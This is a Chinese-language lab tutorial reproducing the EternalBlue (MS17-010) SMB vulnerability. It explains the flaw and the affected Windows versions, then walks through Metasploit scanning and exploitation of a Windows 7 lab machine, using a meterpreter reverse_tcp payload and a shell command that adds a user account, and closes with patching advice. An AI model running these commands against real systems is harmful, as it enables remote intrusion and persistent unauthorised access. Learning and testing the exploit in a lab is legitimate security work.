漏洞复现之永恒之蓝(MS17-010)
漏洞复现之永恒之蓝
基础知识
1、SMB协议
SMB协议是Server Message Block(服务器消息块),该协议用于在本地和远程计算机之间共享文件、打印机和其他资源的一种网络共享协议,它允许不同的计算机之间建立回话并且交换数据。
2、445端口
445端口是一个共享文件夹和打印机的TCP端口,在局域网内提供文件或打印机共享服务。445端口的功能是访问一些共享的文件夹或打印机等。
3、勒索病毒
勒索病毒是一类病毒软件的统称,这类病毒是攻击者通过锁屏、加密文件等方式来挟持用户,要求用户提供赎金才能解密,所以这类病毒被叫做勒索病毒。较知名的勒索病毒是:WannaCry(想哭)。
勒索病毒的原理:用户一旦点击勒索病毒文件,就会连接到攻击者指定的服务器,将用户自己的本机信息进行上传,并且下载攻击者服务器的加密公钥,然后把公钥写到注册表中,遍历本地所有磁盘中的文档、图片等文件,对这些文件进行格式的篡改和加密,加密完成后,用户的桌面等比较明显的位置就会生成勒索提示的文件,被指导交赎金。
漏洞简介
永恒之蓝是在Windows的SMB
服务处理请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户操作,只要开机上网,攻击者就可以在电脑中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。(勒索病毒WannaCry就是通过永恒之蓝漏洞利用来进行传播的)
1、形成原因
由于Windows Server Message Block 1.0(SMB协议)中有一个组件叫Transaction组件
(事务组件),这个组件是负责处理客户端发起的SMB请求,并且在其中执行相关操作的。而由于SMB协议在处理这个组件中的某些数据包时是存在漏洞的,因此攻击者可以利用这个缺陷构造特定类型的数据包,数据包中包含了攻击者想要执行的任意代码,并其发送到目标计算机上。当目标计算机试图去解析这些数据包时,就会触发恶意代码。
2、漏洞编号
MS17-010
3、漏洞危害
远程代码执行、勒索病毒植入等。
4、影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
环境搭建
攻击机:Kali(IP地址:192.168.248.134)
靶机:Windows 7 x64 (IP地址:192.168.248.138)
Windows 7开放445端口,且攻击机与靶机之间可以ping通。
复现过程
1、攻击机启动msf,搜索永恒之蓝漏洞编号(ms17-010),显示出来的相关信息中,有漏洞利用模块和辅助模块,辅助模块是帮助进行渗透的,有一些扫描功能等,可以验证是否有目标漏洞;因此编号3对应的模块及目录可以发现是检测永恒之蓝SMB漏洞的,因此我们使用该模块。(使用哪个就直接use+编号就可以)
msfconsole
search ms17-010
2、显示扫描需要提供的选项,根据选项提供目标主机及端口(端口写不写都行,因为Current Setting已经设置好了,即:当前设置的端口就是445),然后开始扫描,发现成功提示存在永恒之蓝漏洞。
show options //显示扫描需要提供的选项
set rhosts 192.168.248.138 //提供目标主机
set rport 445 //提供445端口
run //开始扫描
3、确认有永恒之蓝漏洞之后,可以开始进行漏洞利用,用最初ms17-010相关显示的漏洞利用模块。(注意:不用像操作系统命令行一样返回上级目录后在进入新的模块,可以在辅助模块的界面下直接使用新模块。
use 0
4、显示没有设置Payload,因此我们将payload设置成提示的默认payload。
set payload windows/x64/meterpreter/reverse_tcp
5、显示漏洞利用所需要的选项,根据选项进行设置,然后开始进行漏洞利用,出现Win标识证明漏洞利用成功。(设置RHOSTS就可以了,因为其他两个需要的选项当前已经设置好了)
6、进入靶机控制台,输入chcp 65001
解决乱码问题,即可实现任意代码执行,漏洞成功利用。
shell
chcp 65001
net user ms17 123456 /add
修复方案
1、打上永恒之蓝的漏洞修复补丁
2、若无使用需求,关闭445端口。